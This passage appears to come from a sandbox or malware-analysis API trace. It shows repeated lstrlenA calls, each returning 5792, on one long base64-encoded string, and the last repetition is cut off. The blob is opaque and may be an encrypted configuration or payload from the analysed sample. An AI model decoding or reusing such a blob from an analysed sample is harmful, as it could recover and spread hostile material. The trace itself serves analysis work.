(lpString="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") returned 5792 [0042.888] lstrlenA (lpString="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") returned 5792 [0042.888] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/